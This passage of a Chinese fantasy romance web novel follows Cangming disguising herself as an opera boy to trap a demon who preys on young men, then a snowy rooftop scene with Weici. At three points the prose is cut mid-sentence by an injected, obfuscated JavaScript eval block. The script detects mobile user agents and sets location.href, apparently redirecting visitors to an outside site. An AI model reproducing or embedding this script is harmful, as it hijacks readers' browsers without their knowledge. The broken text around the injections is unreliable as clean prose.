从清晨到傍晚,楼上的一间客房里时常传来一声脆响,然后觅霞哭丧着笑脸,下楼对无律说:“掌柜的,那位公子又把饭摔了。” 小男孩来到息园三坊后,只说过一句话。某一日,在苍名端来一碗粥、问他叫什么以后,他说:“花怡。让我死,求求你们。” 然后花怡就砸了粥碗。 哭声和瓷器碎裂声第无数次响起时,苍名抓起面具对即将出门配药的魏羌说:“碗快要用完了,要再买几个,我跟你一起出门。” 两人走上大街,把令人焦躁的吵闹声留在身后,心虚地对视一眼。 苍名说:“魏兄弟,你今天去哪几家治病,我去打下手吧?” 魏羌欣然接受:“那敢情好,多谢你,鬼克星。” “魏兄弟,我倒是很好奇,”苍名透过面具看了他一眼,“十七烟里有什么草药,值得你去采?” 硬要论草本植物的话,她记得十七烟里只有点霉斑和苔藓。 魏羌用他的痒痒挠挑着破箩筐,得意地往肩膀上一扛:“鬼克星,这你就有所不知了,十七烟里看起来遍地荒石,却正是一种灵草钟爱的藏身之地。” “噢。”苍名点点头,礼貌性地捧场,“这真是让人意想不到。” “那当然!你猜那是什么灵草?”魏羌神秘地向四周张望一下,街上除了稀稀拉拉的菜贩,就是出丧的队伍,根本没人理会他们。 他把头转回来,刻意压低声音道:“是人参娃娃!” “……” “鬼克星,你别不信。”魏羌哈哈一笑,“这东西虽是民间传说,但的确不假。人参成精后四处乱跑,能跑出老远呢。” “真的假的?”苍名顿时精神一振,喜笑颜开。 “不然我们老参派为何爱穿红衣?”魏羌绘声绘色讲道,“因为红布能罩住人参娃娃!” 苍名一拍大腿:“难怪你摸进十七烟那种鬼地方呢!” 魏羌说:“我可不是和妖鬼一伙的。鬼克星,你真是生性多疑。” 苍名却说:“你倒不像是和老鬼一伙,我怀疑的是另一件事。” “哦?”魏羌戒备地走开几步,指着远处的一片山坡说,“我要去那边挖草药了,改日再聊。” 苍名微笑道:“有什么不敢听的。” 魏羌立刻说:“谁说我不敢听,你问就是了。” 苍名抱起手臂打量着他。他紧张地说:“鬼问星,你克吧……不不不,我是说……” “老参派根基深厚,门派兴旺,怎么弟子还需要一路南下,去鬼村里采人参?”苍名一挑眉毛,“想来贵派的炼丹房里,奇珍药材应有尽有。” 魏羌张口结舌,啊了半天,突然垂头丧气地说:“鬼克星,我实话跟你说了吧,我是背离师门,悄悄逃出来的。” 苍名仰头笑道:“我早猜到你是出逃。只是想不到,你也背离了师门。” 魏羌沉默了一会儿,说:“我爹,他其实是老参派的师尊。” “厉害啊。”苍名竖起大拇指,“原来是少掌门。” 魏羌苦笑着说:“我不比你光彩多少。我爹撞上一位妖王,金丹被毁,我都快急死了,又是观星,又是占卦……可最后算出来的却是……是我该把修为散给我爹,才能救回他的命。” 苍名始料未及,唉呀一声,同情地问:“老人家现在怎样了?” 魏羌含糊地说:“靠奇珍妙药吊着吧……我不知道。” 苍名小心地斟酌了一会儿,说:“各人因果,我不该多说,只是不要给以后留有遗憾就好。” “我天资不高,散去修为,就再也回不来了。” 他停住脚步,迷茫地看向天际。云霄沉沉,如同坠向逢鬼城的灰暗波浪。 魏羌扛着草药,苍名拎着锅。两人走进今天最后一户人家,一进屋就自顾自地在当间支起锅,熟练地熬起药汤来。 床上的破烂麻布片掩映着一位妇人,她薄得像一片纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172731|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只瞟了他们一眼,就闭上眼睛。 苍名盯着她看了一会儿,突然认出她就是那天在大街上打架的大嫂,竟然油然而生几分亲切感,于是问:“您找到女儿了吧?” 大嫂气若游丝地哼了一声,一个小女孩从床底钻出来,把苍名和魏羌都吓了一跳。 小女孩说:“我娘把我从水里捞起来了。” 魏羌一边往锅里放药,一边说:“恭喜恭喜。” 小女孩又说:“可是我娘得了瘟病。” “啊……”魏羌又改口道,“这的确不喜。” 大嫂看了一眼女儿,目光湿润。女儿爬上床,依偎在她身边,她立刻说:“下去!娘这病会传染的,到床底下去!” 说完,大嫂一个急火攻心,爆咳起来,咳得差点吐出来。 小女孩却躺在她旁边说:“我就要贴着你。” 魏羌叹了口气,开始按照八卦和星象的方位搅动锅里的药汤,又在房间四角贴上大红色符纸。 苍名无事可做,呆呆地看着母女俩,说:“有时我觉得哪怕是这样,也已经值得羡慕。” 有一瞬间,她突然十分渴望见到未辞。仿佛只要站在他面前,就像站在火炉面前取暖。 几乎没有多想,像是被火炉的诱人光芒冲昏了头脑,苍名霍地站起来说:“我先走了。” 魏羌说:“去吧去吧,不过好像天阴得很……” 苍名已经飞身向古楼跑去。 未辞又靠坐在楼前的一棵大树下,正如初见的那一天。苍名刹住脚步,摘下面具看向他,他的眼睛慢慢亮了起来。 未辞起身走到她面前:“将军,这是你第一次主动来找我。” “我……”苍名突然心里拔凉,想起他的妻室,“我是来还衣服的。” 说着一个响指,召出了那套仙人霓裳,淡淡地说:“多谢你的衣服,我清洗过,还望不要嫌弃。” 未辞愣了一下,收起衣服,说:“这不是我的。” “哦。”苍名客气地说,“我先告辞了。” “将军。”他惆怅地说,“今日古董店里没有来客,真是无聊极了。” 苍名说:“想来你生意兴隆,不差这一天。” 他却说:“不如将军进来喝杯酒,歇歇脚?捉拿老鬼莲的事,要从长计议。” 苍名大为意外:“难得见你要插手这种事。” “因为我很闲。”未辞微笑着说。 “这件事,我们三个正在商量,就不劳烦你了。”苍名转头看着疏朗的森林,“也不能总是拉上你,你帮了我们够多了。” 未辞许久没说话,默默挥手打开古楼正门,回头用恳切的目光看着苍名。 苍名心里一动,觉得他守着古董店的确太寂寞无聊了,于是慢慢走了过来。 楼里昏昏沉沉,瀑布结成一匹寒冰,自天际悬挂而下,沉默激扬。 侍者端来温热的酒,未辞给苍名斟了一杯。 忽然一阵纷纷扬扬的白雪从天上落了下来,随风回转,满世界都是连片飞花。 苍名伸手轻轻接住鹅毛般的雪絮,仰头看向穹顶,一片迷蒙。 她的眼泪一颗一颗滚落下来,她的头顶和周身都落上了雪,她就像隐入层层雪帘之中。 未辞不知所措地看着她,手脚都没处安放,过了很久才木讷地说:“将军,你怎么哭了。” 18. 巾帼扮须眉 苍名是连滚带爬地逃回息园三坊的。她冲进大门时,屏风后面已经摆好了一桌子菜,众人团团围坐,希声在向她招手。 苍名长吁短叹地走过去,轰然落座。无律给她盛了一碗饭,她胡乱地点头致谢,心里还在反复回味在古楼中的最后一幕。 在这一幕的结尾,未辞失神地伸出一只手,好像要为她擦去脸上的眼泪一样。 于是苍名惊恐地弹射出去,跑出古楼。在跑上大路、回头一瞥时,她看见未辞脸上的表情。那表情如此真切、深刻、痛彻心扉,以至于让她永远都忘不了了。 “哦哎,苍名。”无律在她面前挥了挥巴掌,“你有没有在听?” 苍名目光重新聚焦,问:“你说了什么?” 无律切了一声:“你让我调查的事,我已经打听到了。” 苍名顿时找回一点精神:“老鬼莲?他在哪?和天心沭什么关系?” 无律说:“诸位把饭咽下去,我怕说出来让你们都吐了。” 诸位配合地咽了下去,放下筷子盯着无律。 尽管寒冬已至,无律还是一甩折扇,说:“老鬼莲,专爱玩弄少年男子,这些少年必须相貌清秀,皮肤洁白,体型偏瘦,就像魏兄弟这样……” 魏羌剧烈地咳了一声:“音律仙,这些就不必说了。” 苍名则检查隔音屏风是否完好,以免楼上的花怡听了岂不是要伤心。 “对,对,讲重点。”无律继续说道,“这老鬼莲,他自诩莲花,图腾和法器也都是莲花。他行踪不定,在人间的老巢十七烟又有花妖护卫,这些年竟没人能奈何他。” 苍名冷笑一声:“既然撞上我,那我可要奈何一下他。” 无律点点头,又说:“他和天心沭从没正面交锋过,也从没一起出现过,难说是同伙、仇人还是陌生人。” 希声眯起眼睛说:“你说得真对。” 无律愤愤不平地叫起来:“你以为在冥界打听个人那么容易?” 苍名问:“那他和未央冠……” 无律接口道:“早些年未央冠刚流传出来,他当然也跟着争抢过了,如今就不知道了,又没人见过未央冠。” 希声平静地说:“所以,诅咒是谁设的,未知。未央冠落在谁手,未知。是不是为了引苍名入局,未知。” 苍名疑惑道:“他本事也未必多大,怎么从没人收拾这老货?” “谁管这档子事呢,又不便扬名,又不算功绩。”无律悠悠地说,“当朝有律法规定,奸污妇女才被关三个月的大牢,更何况还没规定奸污男子该怎么样呢。” 希声冷笑道:“上次有个女子不愿忍受夫家的欺凌压榨,倒被治了大罪呢。” 魏羌义愤填膺地说:“老鬼不过是仗着便宜,鬼鬼祟祟,为所欲为。” “好好好。”苍名点着头说,“这才有趣,不是么?” “就是,太简单的事还有什么意思。”无律用扇子遮住下半张脸,侧头魅惑地向苍名抛了个媚眼,“苍姐,有个情报,我倒是帮你拿到了,花了我一坛子无花果雪梨汤呢。” “是什么?”几个人齐声问道。 无律放下扇子,郑重宣布:“三天之后,有一队梨园子弟要途径逢焉城,去往京城献艺。” 希声哟了一声:“那老鬼说不定会来。” “不错。”无律肯定地说,“老鬼嗜色如命,又酷爱看戏,逢焉城又和十七烟相隔不远,想必他一定会来此奸淫掳掠,再把人带回老巢。” 苍名昂首道:“就算他和未央冠无关,我也管定了。” 寻烟和觅霞都大声喝彩起来。 希声说:“那么,到时还要在梨园子弟中选出一位略会拳脚功夫的,以充当诱饵?” 魏羌沉吟道:“那老货毕竟是邪妖,连我也没打过他……” 苍名双拳紧握:“常人不行,我们需要一位能打的道士扮作诱饵!” 其余几人都用品味的目光看着她。 苍名一愣:“恩,也不是不行……” 希声若有所思地盯着她说:“苍名个子不低,若说是十四五的男孩也不算违和。” 无律抱起手臂说:“苍名武功和法力又高强,就算是五大三粗的男人也比不上。” 魏羌主动说:“鬼克星,我可以把新做的衣服借你。” 苍名慷慨赴义,一拍桌子:“就这么定了。” 几人的脑袋凑在一起,嘀嘀咕咕,嘀嘀咕咕,如此这般,如此那般。 街头巷尾传言,梨园子弟的车马长队将于今晚抵达逢焉城,在息园三坊落脚。 息园三坊那座直掉渣的老楼,竟然破天荒地有客人入住,让人大跌眼球。 从傍晚开始,息园三坊门前蹲满了看热闹的人。那些从瘟疫中幸存的男男女女,带着孩子一起守在大门前,等待着那支号称中原俊秀生的队伍。 魏羌高举痒痒挠,不停地呼吁号召:“请大家不要聚集在一起,瘟疫尚未过去,还有小范围蔓延的趋势!” 老少爷们充耳不闻,在天寒地冻里津津乐道地谈论梨园子弟。 有人说:“知道吗,据说这些俊秀后生,那面皮,那身段,啧啧啧,绝啦。” 立刻又有人说:“那声音,个个清亮好听。” “那扮相,那戏台,那唱腔……当今无出其右!” 二楼的一间客房内,苍名躲在竹帘之后,透过缝隙看向窗外,低声对希声说:“凡人围在这里,等会儿万一打起来,被误伤就不好了。” 希声说:“好,我们去把人引开。你自己行么?” 苍名点头道:“这里交给我。” 希声来到楼下,在大堂里一坐,掏出喇叭,若无其事地吹了起来。 曲声一响,门口的人纷纷捂着耳朵逃离现场。跑出一段的人破口大骂:“逢焉城没因为瘟疫死绝,倒让这破曲儿杀绝了。” 人们不敢再靠近息园三坊,转而在城门附近徘徊。 不多时,一行灰色的车队缓缓开进逢焉城。不论是人、车、还是老马,都是灰扑扑的颜色,在灯火映照下像一群影子,几乎融入夜色。 车队驶过长街,停在息园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172732|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三坊门前。后面跟着一群看客,他们交头接耳地说: “怎么看不清脸,好像从头到脚蒙着灰纱一样?” “不过这灰纱一看就是好料子,好料子啊……” “散了散了,明天白天人家就装扮起来了,说不定能给我们支台戏呢!” “你小子想得美,逢鬼城这个穷样,谁出钱?” 无律、寻烟和觅霞忙得不可开交,跑来跑去,就是看不出在忙什么。 无律一会儿跑到梨园子弟面前深鞠一躬:“欢迎光临!” 一会儿又跑到后门大喊道:“快给梨园贵客倒茶!” 一会儿又站在大门口,中气十足地说:“楼上已经收拾出十间客房,请客官们回房沐浴吧!” 为首的那个人抚摸着灰色的头纱面罩,欠身说:“有劳掌柜了,我们这就进房间休息了。” 说罢,一行人迈着轻捷潇洒的步伐上了楼梯,各自飘然入室,关上房门。有的三人一间,也有的两人一间。 无律对寻烟和觅霞笑着说:“看到了吧,最当红的小生可是自己独自一间呢!” 寻烟重复道:“看到啦,最当红的小生可是自己独自一间呢。” 这一晚,息园三坊早早地熄了灯,如同一座坟墓,鸦雀无声。 苍名始终待在二楼的客房里,调动五感,将外面的动静尽收耳中。 过了半夜,丝丝缕缕的邪气从门缝里渗入,越来越浓郁。无律、希声和魏羌安安稳稳地睡在各自的房间里,传出阵阵呼噜声和磨牙声。 苍名一挥手点亮蜡烛。糊纸的木门上映出黑色的剪影,身影颀长,马尾高挑,英姿勃勃,干净利落。 长夜漫漫,和着打更人的竹板声和不知何处的吟唱声,苍名做起戏中的一招一式。 云手亮相,掐腰别步,风火轮一转,顺风旗如飞。 但见门上剪影如花绚烂,轻歌曼舞,幕起幕落,醉煞看客。 叮当两声,有人站在屋外,文雅地敲了敲门。只是这人没有影子,木门上依然只有苍名一个人的身影。 苍名屏住呼吸,一步一步向房门走去。 她不敢开口,于是也伸出手在门扇上敲了两下。 门外那人似乎大喜过望,仿佛把这两声理解成调情式的回应。 一道苍老沉闷的声音隔着门响起:“请问,我可以进来吗?” 那种彬彬有礼的语调让苍名打了个寒战。 门外又不疾不徐地说:“我的名字叫做莲,我是个儒客,为人婉转喜洁,常因此和世人格格不入,还望公子不要介意。” 苍名轻轻一晃身,走到房中间的浴桶前,高高抬起手梳理着马尾,又随意地扯着领口,似乎要脱下袍子入浴一样。举手投足,充满了清新俊逸的少年男子气概。 这倒影在门外的人看来,简直是赤裸裸的勾引和诱惑。 那人柔声细语地说:“公子,那我进来啦。” 吱呀一声,门开了。 苍名一手握紧冰刃宝剑,看着门口站着的白色身影,惊叫声差一点飞出嗓子眼。 19. 水袖戏开场 一个成分异常复杂的人款款走来。 他的头上戴着一把展开的巨大折扇,如同凤冠,上面缀满各式莲花,旁逸斜出,令观众应接不暇。 他的身上穿着一件粉白粉白的戏袍,两道长长的水袖拖在地上。 苍名藏在架子之后,屏住呼吸,一眨不眨地盯着他。仿佛是感受到了苍名的目光,他缓缓地转头一笑。 那是一张用白纸糊的脸,像一张平滑的面具,用黑色墨水画出五官。 “走你!”苍名一巴掌呼去,一张黄符啪一声拍在他的脸上。 老鬼莲被杀了个措手不及,哟地一声向后一退,为时已晚。黄符一上脸立刻噼啪炸响,腾起几丈高的火焰。 老鬼莲揪着自己熊熊燃烧的脸,大喊一声:“你是谁!” 苍名出剑斜点,眨眼间狂刺了十几处穴道:“我是你爷爷!” 老鬼莲大喝一声,双手拔下头颅,向苍名掷来。 火球在空中嗖嗖翻滚几周,那张白脸在烈焰中眯起眼睛,咧嘴一笑。 苍名急忙闪身跳向一边,长剑一劈,那颗头半路被击飞,咚一声落进装满洗澡水的木桶里,激起满天水花。 老鬼莲悄声说:“你看我的。”他空空的脖子上冒出来一颗新的头,那颗头上用白纸糊成脸,丹青画成相。 苍名剑花飞旋,长剑舞得密不透风,冰刃如同寒光拖尾盘亘。 六角雪花形法阵结成,霎时熠熠生辉。老鬼莲挥出两道长长的水袖,水袖如同两条白蛇游来,将法阵散出的银光一一拨开。 苍名喝道:“还不就地伏法!”说着在长剑上铮地一弹,房间内八个方向顿时金光大亮,事先藏好的黄符、红符、八卦镜、夜光旗……全都一起大放光芒。 老鬼莲的水袖本来已经缠上了苍名的宝剑,将她向前拽得一个趔趄,差点宝剑脱手飞出。 瞬息间法场全开,老鬼莲尖叫一声,收手后跃,舞起两条水袖护住全身。 符纸猎猎作响,八卦镜莹莹闪烁,夜光旗无风飘动。为了压阵,希声、无律和魏羌可是纷纷贡献了压箱底的藏品。 老鬼莲猛地扯下新长出来的头颅,抱在怀里满地打滚:“头疼呀——头疼呀——” 苍名手引剑诀,默念符咒,抢身攻向老鬼莲,一剑刺到,竟被他就地打滚躲开,一颗头迎面飞来。 “走开啊!”苍名崩溃地用宝剑把那颗头打到一边,那颗头落地以后嘴角上翘,蹦蹦跶跶地向她跳来。 “给你,都给你。”老鬼莲的脖子上长出又一颗头,随即被他拔下来向苍名扔去。 苍名左击右打,竟被一颗颗飞来的头缠住,忙得飞上飞下,无法脱身。 没头的身体趁乱闪到一边,水袖一抛,向浴桶里的那颗头捞去。 苍名正和一地脑袋斗得难解难分,突然百忙之中抽空劈向水袖:“想捞你的头花?” 老鬼莲滴溜溜地一转,水袖避开苍名的宝剑,又向浴桶里招呼过去。 苍名灵光乍现,回身一踢,把一只头踢进浴桶。头一入水,浮浮沉沉,果然再也动不了。 老鬼莲的空头身子一惊:“啊……被你发现了……” 苍名冷笑一声,一手挥剑格挡两条嗖嗖乱飞的水袖,一边旋转腾挪,将十几个脑袋挨个踢进水里。 水面上漂着连片的鬼魅的头,被水一泡,墨汁晕开,每张白纸脸上表情各异,邪气瘆人。苍名无意中瞥了一眼,立刻打了个哆嗦。 抓住这一瞬间的破绽,老鬼莲抽身飘下楼梯,吱哇叫道:“无耻,你这个无耻道姑……” 大堂里不知何时点起了一根惨白色蜡烛。 青蓝色火光中,希声坐在桌边自斟自饮,夹起面前的几颗毛豆,看都不看就随手一扬。 毛豆依次打在挂纸旗的绳子上,复又跃起落下,循环不息,竟如同在琴弦上弹出宫商角徵羽的乐曲声。水龙应声而出,绕客栈满场游蹿,张开一口利齿,咬向老鬼 老鬼莲尖叫一声,一甩袖子格开曲声召出的水龙,又向后门逃去。 无律静悄悄地从后厨走出来,正正好拦在他的面前。拐棍一挥,砰然击中水袖,声如擂鼓。 无头身子晃了两下,踉跄着退后,嘻嘻笑着说:“三个道士一起抓我,我也值啦……” “四个。”魏羌突然从房梁上探出头,连发十几张红符,封断老鬼的退路。 希声冷冷地说:“要不是我们要抓活的,你早就死了。” 无律断喝道:“还不快说!天心沭是你什么人!” 无头身软绵绵地跪倒在地,说:“冤枉啊,我不过是为她办事,那些绣花鞋都是她炼出来的。” “少年男子也是她杀的不成?”魏羌高屋建瓴,一盆米如沙沙雨点洒在老鬼莲身上。 “别做法,别做法。”老鬼莲用水袖护住全身,哀痛欲绝地说,“那都是她干的,不关我的事……” “诅咒也是她布设的?”苍名站在二楼栏杆后,居高临下地问道。 “什么诅咒?”老鬼莲愣了一下,连声否认,“我不知道,都是她,都是她干的……” “这东西看起来实在废物。”无律皱起眉头说,“别的大妖哪怕束手就擒,也没有这么……” “几位道爷,放了我吧,我知道真正的梨园子弟不在这儿,可真正的老鬼莲也不在这儿……”无头身抬起水袖抚摸着虚空的鬓角,一开口语惊四座。 “你是替身?”希声甚至也惊了一下。 苍名跳下楼梯,解下腰带缀角的小珐琅葫芦,迎风一抖,葫芦变大了几圈。 正要把这老鬼收进葫芦时,他突然用一种细声细气的唱腔咏叹道:“昔年承欢膝前,如今灯夜长天。通灵难寻双亲,残魂化作飞烟。” 似歌而非歌,悄声细语,直摄人心。 苍名再回过神时,发现自己呆呆地举着一个葫芦,双手发颤,满脸泪痕,顿时飞起一脚踹到他脸上:“闭嘴!” 一声嘻嘻怪笑,葫芦装了个空。 无头身趁着苍名分心的功夫,水袖一抛,卷住楼梯栏杆,身体轻轻一荡就飞进那间客房。 浴桶里的十几个脑袋此起彼伏地叫起来:“快来快来——” 无头身一把捞起戴扇子的脑袋,安在自己脖子上,又用水袖缠住其余脑袋,纵身飞出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172733|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗外。 法阵腾起高耸入云的火焰,竟被他用水袖扑打出一道豁口。 “追!”苍名跳上长剑,御剑跟了上去。 花枝招展的背影踏着城中的屋顶一路飞驰。 苍名实在不放心梨园子弟,回头对身后跟上来的三个人说:“你们去追他!” 说着自己调头向城隍庙飞去。 城隍庙鸦雀无声,灯火融融,法阵固若金汤,丝毫未破。 苍名的心凉了半截,大事不妙的预感笼罩心头。她穿过法阵,敲了敲庙门。 “道长,是你呀!”一位俊俏小生开了门,热情地招呼道,“您几位结的法阵真是太厉害了,都说逢鬼城闹鬼,我们这一夜可是安安静静的呢!” 苍名点头道:“你们没事就好!天一亮就快启程吧。” “鬼克星!怎么样了?”身后传来魏羌的呼号声。 苍名关上庙门,转身对他摇了摇头:“走吧,抓不到了。” “真正的老鬼莲来了没有?”魏羌环顾四周,“怎么没有一点打斗痕迹?” “咱们想诈他,却反倒被他诈了。”苍名勉强地一笑,“他不是替身,他就是真正的老鬼莲。” “好啊!这老东西狡猾得很!”魏羌勃然大怒,“奏潮仙和音律仙去追他了,咱们快去助阵!” “奏潮仙和音律仙也没追上他。”无律阴阳怪气的声音从道路尽头传来。 他和希声的身影从黎明前的浓雾中走出来,希声垂头丧气地说:“那东西骨气不多,脑袋倒不少,我们竟打不过他。” “没错,那东西战斗力不低,是我大意了。”苍名懊恼地说,“我竟然信了他是替身的鬼话,替身怎么能跟我们打个平手?” “没办法,人命关天,总要过来看一眼。”希声伸头往庙里看了看,“不管怎么说,这次没有让老鬼伤及无辜。” “音律仙,你找来假扮梨园子弟的那群小鬼,还真挺像那么回事的。”魏羌拍着无律的肩膀称赞道。 “去去去,没大没小。不是刚认识的时候了,一口一个前辈。”无律挥了挥拐棍说,“我回去就叫它们散了,唉,又花了好多好多无花果雪梨汤……” 希声恍恍惚惚地打断了他:“走吧,这阵是用法宝压的,不会破的。” 苍名靠坐在一棵大树下,对其他几人说:“我在这里守着。这次……真是劳烦你们了。” 无律切了一声:“你上次没劳烦我们啊?” 希声则说:“有什么好客气的,我们好歹也是个仙,难道就不懂得拯救苍生了?” 魏羌用崇拜到死心塌地的眼神看着他们。三个人有说有笑地往息园三坊走去。 苍名留在庙前,独自靠着一棵大树坐下,筋疲力尽,眉头微蹙。 “将军。” 苍名心头一动,缓缓睁开眼睛。银白色袍子下摆,深蓝色长裤长靴,双腿笔直,结实修长。 未辞俯身单膝跪在她跟前,轻轻地问:“还好吗?” 东方即将破晓,在湛蓝色晨曦中,他的出席仿佛是一场梦境中的画面。苍名抬头看着他,一时分不清太虚与人间了。 20. 千年唯念卿 未辞深深地看着她:“老鬼莲今天不会再来了,走吧,将军。” 天光微明,苍名看了看东方,站起身说:“走吧,再过一会儿,他们也要上路了。” 两人一前一后沿着江水走去,天高地远,漫无目的。苍名踏着枯枝残雪,头也不回地问:“你怎么知道我们在抓他?” 未辞说:“因为我一直看着你。” 苍名不咸不淡地说:“古董店主还真是富贵闲人。” 未辞默默看着她的背影,忍不住问道:“这身衣服是男装?” “是。”苍名回头瞥了他一眼,“我借来的。” “好像不大合身。”未辞半真半假地说,“将军怎么不管我借?” “你的岂不是更不合身。” 未辞大气不出,噤若寒蝉。缓了一会儿,他又说:“将军,你的衣服结冰了。” “噢?”苍名低头一看,发现身上这件红袍果然结做连片冰霜,大概是打斗时溅上了浴桶里的水。 此外,袍子边角拖地,沾了一层黑雪,袖子卷了几捆,高高撸起。苍名整个人散发着生猛抓鬼师傅的气息,挥手说:“无妨。” 天上飘起了鹅毛大雪,朔风回转,万千飞雪落在眉心。 未辞说:“要不要换下来?我那里还有套衣裙,倒是很适合将军……” 苍名突然猛地一转身,气急败坏地说:“你成天叫别人换衣服吗?” 未辞愣住了。他委屈地低下头,像块木头一样喃喃地说:“将军,我也不知怎么才能把最好的给你……我只有这些。” 苍名也愣住了。 他又自怨自艾地说:“是我考虑不周,忘了问你想要什么,不怪你生气。” 苍名的眼中迅速积蓄出一汪湖水,眼泪止不住地滚落下来。她猛地用双手捂住嘴,害怕地说:“对不起,我从没对人发过火,我不知道我怎么了……对不起。” “将军!”未辞好像真的急了,一把扶住她的肩膀,“……将军!” 苍名用袖子擦了一把脸,又想起这是魏羌的衣服,被造成这个鸟样免不了要赔,可她近期一个铜钱都没赚到,顿时哭得更加伤心绝望了。 未辞微微弯腰看着她,小心翼翼地问:“你为什么又哭了?到底哪里不好,你告诉我。” 苍名甩开膀子,挣脱他的大手,快步往前走去:“没什么不好。只是你以后不用总是暗中跟着我了。” 未辞失魂落魄地追上来问:“为什么?” “我又没钱雇你当护法。” “我不要钱。” “你有家有室,何必总跟着我混?我是个过气散仙,无望成神,跟着我干,没出路的。”苍名硬气地留下一句,纵身跳上一棵树尖。 踩着森林中海浪般的松树,苍名几步就跑远了。红色衣袍,隐入墨绿松枝与纷飞白雪之间。 “我是撞了什么邪吧?”苍名停下来冷静一下时,发现自己被怒气冲昏头脑,竟然沿着森林跑到了古董店,顿时大感丢脸。 正要悄悄转身遁地,就看见未辞似笑非笑的俊脸。 未辞开口说道:“将军说归说,心里还是很照顾我这下属的,竟特地赶来慰问视察。” 苍名说:“我跑反了。” 未辞自顾自地说:“古楼冬暖夏凉,将军放心。天气寒冷,不如来屋顶上喝酒赏雪,岂不有趣?” 不等苍名拒绝,他又说:“我这一千年来孤家寡人,无家无室,全靠将军怜恤下属了。” 苍名扬起惊讶的脸,犹豫地问:“那你收藏了那么多女装……是自己穿吗?!” 未辞垂眼一笑:“原来是这个……那些衣服是我珍藏的。其旧主威风凛凛,必能成神。” 苍名一拍手,替他说道:“所以你收藏她穿过的衣服,准备将来高价倒卖!” “那些衣服,多数是新的,她没来得及穿过。”未辞淡漠地一笑,“我不会倒卖,永远不倒卖。” “好好好,一直收藏着更好。”苍名眉飞色舞地说,“这将来是你的镇店之宝呢。” 未辞尽量抑制着得意的笑容,不动声色地恩了一声。 雪落万物之上,有声也似无声。苍名对他嫣然一笑,灿烂光华,如同朗朗晴天,晃得他都忘了眨眼睛。 苍名对着古楼屋顶一扬下巴:“我们喝酒去!” 未辞伸手扫去房梁上的白雪,两人肩并肩坐下。苍名已经换回了海蓝色长袍,发冠灿若晚星。 未辞从胸前衣襟中掏出一个锦匣,若无其事地交给苍名:“这东西挺有趣的,不如送给你玩。” 锦匣里是一对晶莹夺目的耳环,和一盒淡粉橘色唇脂。 苍名睁着一双圆眼睛说:“还从没有人送过我胭脂首饰呢。” 未辞似乎对此说法非常满意,笑得一侧梨涡都出来了:“试试?” 苍名竟然觉得不好意思,含糊推辞道:“我用这些岂不是浪费了。” “怎么会。”未辞理所当然地说,“分明是这些东西借了将军的光,用在别人身上才是浪费。” 苍名转过身戴上耳环,又薄薄地涂了一层唇脂,突然觉得心脏砰砰直跳,再回转过脸时不敢看向未辞。 未辞说:“将军明丽如霞,璀璨珠宝也黯然失色。” 苍名向他抿嘴一笑,又立刻转过头。 未辞又说:“将军不妨随身带着,兴许以后会有用。” 苍名笑道:“好,想来古董店主赠送的宝贝一定精妙绝伦,我当然要随身带着。” 未辞轻轻拍了两下手,烟囱里升起一壶烫好的酒,又有两只酒盅蹦了出来。 苍名接过一杯酒,笑嘻嘻地说:“你的侍者也都很了解你。” “恩,都是些无家可归的小妖。”未辞自己也斟了一杯酒。 两只酒杯碰在一起,飞雪落入酒中。 苍名望向冰天雪地,轻轻哼起童谣小调。 未辞故意问道:“怎么这么高兴?” 苍名说:“因为你无家无室,愿意给我当不要工钱的下属。” 未辞转头望远,故作深沉,他那张苍白的脸第一次泛起浅淡的红晕。 苍名趁胜追击,反将一军:“喔,你喝酒还挺容易上脸。” 未辞说:“恩,是的,容易上脸。” 苍名露出了高歌猛进的微笑,高抬贵手地话锋一转: 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未辞放下酒杯,用从未有过的严肃口吻说道:“将军,古往今来多少英雄为执念折腰,终其一生却唯余两手清风,是非成败转头空。” “可是,一旦一个念头找上了你,就会像万花镜一样缠住你。”苍名虚无地仰头看着满天雪花,看久了就觉得自己要被吸上去一样,“或许只有实现了执念,才能破除执念。” 未辞低下头,不再言语。直到雪停,他才说:“将军,请三思,我不再多说了。” 苍名一挑眉毛:“该你了,你的诗句呢?” 他注视着她的眼睛,说:“从别后,忆相逢。几回魂梦与君同。” 眉眼如峰,欲说还休。苍名发现自己痴迷地看着他,急忙移开目光,若有所思地说:“未辞,我们是不是以前就认识?” “为什么?”未辞一把抓住她的手臂,目光热切地看着她。 苍名敲着脑袋说:“但……但我记不起来。好像有一道帘子把那些事隔开一样,真是怪了。” “没关系。”他松开手,吹了一声口哨,“该记起的总会记起。” 但苍名觉得他浑身上下写满了失落两个大字,好像她就应该认识他似的。 苍名左思右想,确定自己既没失忆,也没见过这么一位令人过目难忘的少年。唯一可能是敬家落难时欠过些钱。 